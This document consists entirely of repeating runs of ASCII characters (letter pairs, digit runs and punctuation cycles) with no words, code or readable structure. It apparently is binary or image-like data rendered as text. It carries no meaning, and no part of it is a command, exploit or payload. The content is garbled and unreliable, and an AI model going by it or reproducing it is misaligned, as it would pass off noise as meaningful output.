-xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFExwxwxwxwvuvuvuvutstststsooooopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcbababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFExwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSSSSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgfedcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststsopopopopnmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststsopoooooonmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihgfefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSSSSSTSTRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqpopopooonmnmnmnmlklklklkjihghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqooopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTRQRQRQRQPONMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYXWXWXWVUVUVUVUSTSSSSSSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqopopopopnmnmnmnmlkjijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[ZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqooooooponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSSSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwvuvuvuvurqrqrqrqpopopoponmlklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUSSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwtstststsrqrqrqrqmmmmmmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFExwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEDCDCDCDCDCDCDCvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCDCDCDCDCvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSSSSSSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCDCDCDCDCvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcba`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCDCDCDCDCvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGFEFEFEDCDCDCDCDCDCDCDCvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:977777878656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343210/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:97878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:97878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!       - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:97878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:97878787865656565432121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - DCDCDCDCBABABABA@?@?@?@?>=<;<;<;:9:9:9:97877777765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - DCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - DCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:98787878765434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        DCDCDCDCBABABABA@?>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        DCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:98787877743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%$#$#$#"!"!"!"!        DCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:97787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - DCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:98765656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - DCDCDCDCBA@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - DCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('&%&%&%$#$#$#$#"!"!"!"!        - - - - DCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - - DCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - - DCBABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;:98787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;877777786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;787877776565656543434343212121210/0/0/0/.-,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;778787876565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=<;:9:9:9878787876565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - BABABABA@?@?@?@?>=>=>=>=:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - xxwwvvuu!!""##$$>>==7766xxwwvvuu$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggmmllkkjjMMLLKKJJ<<==>>??cbbaa``_0011223399887766PPQQRRSSppqqrrss - - ttssrrqq%%&&''((55443322tsrqpoon(())**++AA@@??>>HHIIJJKK!! hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC_^^]]\\[4455667755443322TTUUVVWWttuuvvww ppoonnmm))**++,,1100//..nmmllkkj,,--..//==<<;;::LLMMNNOOllmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG[ZZYYXWV8899::;;1100//..XXYYZZ[[xxxxwwvvllkkjjii--..//00--,,++**jiihhggf0011223399887766PPQQRRSSppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK - -UTSSRRQQ<<==>>??--,,++**\\]]^^__ - -uuttssrrhhggffee11223344))((''&&feeddccb4455667755443322TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOO PPOONNMM@@AABBCC))((''&&``aabbcc qqppoonnddccbbaa55667788%%$$##""baa``__^8899::;;1100//..XXYYZZ[[xxxxwwvvYYXXWWVV0011223399887766PPQQRRSSLLKKJJIIDDEEFFGG%%$$##""ddeeffggmmllkkjj``__^^]]99::;;<>??--,,++**\\]]^^__ - -uuttssrrUUTTSSRR4455667755443322TTUUVVWW - - HHGGFFEEHHIIJJKK!! hhiijjkkiihhggff !!""##\\[[ZZYY==>>??@@ZYYXWVUT@@AABBCC))((''&&``aabbcc qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[ DDCCBBAALLMMNNOOllmmnnooeeddccbb$$%%&&''XXWWVVUUAABBCCDDSSRRQQPPDDEEFFGG%%$$##""ddeeffggmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__@@??>>==PPQQRRSSppqqrrss - - aa``__^^(())**++TTSSRRQQEEFFGGHH OONNMMLLHHIIJJKK!! hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc<;:98776TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//PPOONNMMIIJJKKLL - - KKJJIIHHLLMMNNOOllmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffgg65544332XXYYZZ[[xxxxwwvvYYXXWWVV00112233LLKKJJIIMMNNOOPP - - GGFFEEDDPPQQRRSSppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkk!!""##$$21100//.\\]]^^__ - -uuttssrrUUTTSSRR44556677HHGGFFEEQQRRSSTT CCBBAA@@TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnoo%%&&''((.--,,++*``aabbcc qqppoonnQQPPOONN8899::;;DDCCBBAAUUVVWWXX??>>==<;XXYYZZ[[xxxxwwvvYYXXWWVV0011223399887766PPQQRRSSppqqrrss))**++,,*))((''&ddeeffggmmllkkjjMMLLKKJJ<<==>>??@@??>>==YYZZ[[\\:9877665\\]]^^__ - -uuttssrrUUTTSSRR4455667755443322TTUUVVWWttuuvvww--..//00&%%$$##"hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC<<;;::99]]^^__``!!54433221``aabbcc qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvv11223344"!! llmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG88776655aabbccdd""##$$%%100//..-ddeeffggmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -uuoonnmm556677==ppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK44332211eeffgghh&&''(())-,,++**)hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc llkkjjii>>??@@AAttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOO00//..--iijjkkll**++,,--)((''&&%llmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffgghhggffeeBBCCDDEExxxxwwvvYYXXWWVV0011223399887766PPQQRRSS,,++**))mmnnoopp..//0011%$$##""!ppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkkddccbbaaFFGGHHII uuttssrrUUTTSSRR4455667755443322TTUUVVWW((''&&%%qqrrsstt22334455! ttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnoo``__^^]]JJKKLLMM - - qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[$$##""!!uuvvwwxx6677==>>xxxxwwvvYYXXWWVV0011223399887766PPQQRRSSppqqrrss - - \\[[ZZYYNNOOPPQQmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__ xxwwvvuu??@@AABBuuttssrrUUTTSSRR4455667755443322TTUUVVWWttuuvvww SSRRQQPPRRSSYYZZiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbccoonnmmllCCDDEEFFqqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvvOONNMMLL[[\\]]^^eeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggkkjjiihhGGHHIIJJ mmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -uuttssrrKKJJIIHH__``aabb - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkkggffeeddKKLLMMNN - - iihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc qqppoonnGGFFEEDDccddeeff ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnoo ccbbaa``OOPPQQRReeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggmmllkkjjCCBBAA@@gghhiijjYYXXWWVV0011223399887766PPQQRRSSppqqrrss - - __^^]]\\SSYYZZ[[ - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkkiihhggff !!""##??>>==77kkllmmnnUUTTSSRR4455667755443322TTUUVVWWttuuvvww - - [[ZZYYSS\\]]^^__ ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnooeeddccbb$$%%&&''66554433oouuvvwwQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvvaa``__^^ RRQQPPOO``aabbccYYXXWWVV0011223399887766PPQQRRSSppqqrrss - - aa``__^^(())**++221100//xxxxwwvvMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -uuttssrr]]\\[[ZZNNMMLLKKddeeffggUUTTSSRR4455667755443322TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//..--,,++uutsrqpo !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc qqppoonnYYXXWWVVJJIIHHGGhhiijjkkQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvvYYXXWWVV00112233**))((''onnmmllk$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggmmllkkjjUUTTSSRRFFEEDDCCllmmnnooMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -uuttssrrUUTTSSRR44556677&&%%$$##kjjiihhg(())**++AA@@??>>HHIIJJKK!! hhiijjkkiihhggffQQPPOONN BBAA@@??uuvvwwxx !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc qqppoonnQQPPOONN8899::;;""!!gffeeddc,,--..//==<<;;::LLMMNNOOllmmnnooeeddccbbMMLLKKJJIIHHGGFF@@AABBCC))((''&&``aabbcc<;:98776TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnoo%%&&''((.--,,++*``aabbcc qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[--,,++**EEDDCCBBDDEEFFGG%%$$##""ddeeffgg65544332XXYYZZ[[xxxxwwvvYYXXWWVV0011223399887766PPQQRRSSppqqrrss))**++,,*))((''&ddeeffggmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__!!""##))((''&&AA@@??>>HHIIJJKK!! hhiijjkk!!""##$$21100//.\\]]^^__ - -uuttssrrUUTTSSRR4455667755443322TTUUVVWWttuuvvww--..//00&%%$$##"hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc$$%%&&''%%$$##""==<<;;::LLMMNNOOllmmnnoo%%&&''((.--,,++*``aabbcc qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvv11223344"!! llmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffgg(())**++!! 99887766PPQQRRSSppqqrrss))**++,,*))((''&ddeeffggmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -uuoonnmm556677==ppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkk,,--..//55443322TTUUVVWWttuuvvww--..//00&%%$$##"hhiijjkkiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc llkkjjii>>??@@AAttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnoo001122331100//..XXYYZZ[[xxxxwwvv11223344"!! llmmnnooeeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffgghhggffeeBBCCDDEExxxxwwvvYYXXWWVV0011223399887766PPQQRRSSppqqrrss44556677--,,++**\\]]^^__ - -uuoonnmm556677==ppqqrrss - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkkddccbbaaFFGGHHII uuttssrrUUTTSSRR4455667755443322TTUUVVWWttuuvvww==>>??@@))((''&&``aabbcc llkkjjii>>??@@AAttuuvvww ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnoo``__^^]]JJKKLLMM - - qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[xxppoonnAABBCCDD - -%%$$##""ddeeffgghhggffeeBBCCDDEExxxxwwvvYYXXWWVV0011223399887766PPQQRRSSppqqrrss - - \\[[ZZYYNNOOPPQQmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -mmllkkjjEEFFGGHH - - !! hhiijjkkddccbbaaFFGGHHII uuttssrrUUTTSSRR4455667755443322TTUUVVWWttuuvvww SSRRQQPPRRSSYYZZiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc iihhggffIIJJKKLL llmmnnoo``__^^]]JJKKLLMM - - qqppoonnQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvvOONNMMLL[[\\]]^^eeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggeeddccbbMMNNOOPPppqqrrss - - \\[[ZZYYNNOOPPQQmmllkkjjMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -uuttssrrKKJJIIHH__``aabb - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkkaa``__^^QQRRSSYYttuuvvww SSRRQQPPRRSSYYZZiihhggff !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc qqppoonnGGFFEEDDccddeeff ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnoo]]\\[[ZZZZ[[\\]]xxxxwwvvOONNMMLL[[\\]]^^eeddccbb$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggmmllkkjjCCBBAA@@gghhiijjYYXXWWVV0011223399887766PPQQRRSSppqqrrss - - YYSSRRQQ^^__``aa - -uuttssrrKKJJIIHH__``aabb - - aa``__^^(())**++AA@@??>>HHIIJJKK!! hhiijjkkiihhggff !!""##??>>==77kkllmmnnUUTTSSRR4455667755443322TTUUVVWWttuuvvww PPOONNMMbbccddee !!""## qqppoonnGGFFEEDDccddeeff ]]\\[[ZZ,,--..//==<<;;::LLMMNNOOllmmnnooeeddccbb$$%%&&''66554433oouuvvwwQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvvLLKKJJIIffgghhii$$%%&&''mmllkkjjCCBBAA@@gghhiijjYYXXWWVV0011223399887766PPQQRRSSppqqrrss - - aa``__^^(())**++221100//xxxxwwvvMMLLKKJJ<<==>>??--,,++**\\]]^^__ - -uuttssrrHHGGFFEEjjkkllmm(())**++iihhggff !!""##??>>==77kkllmmnnUUTTSSRR4455667755443322TTUUVVWWttuuvvww ]]\\[[ZZ,,--..//..--,,++uutsrqpo !!""##IIHHGGFF@@AABBCC))((''&&``aabbcc qqppoonnDDCCBBAAmmllkkjj,,--..//eeddccbb$$%%&&''66554433oouuvvwwQQPPOONN8899::;;1100//..XXYYZZ[[xxxxwwvvYYXXWWVV00112233**))((''onnmmllk$$%%&&''EEDDCCBBDDEEFFGG%%$$##""ddeeffggmmllkkjj@@??>>==iihhggff00112233 - - aa``__^^(())**++221100//xxxxwwvvMMLLKKJJ<<==>>??--,,++**\\]]^^__ - 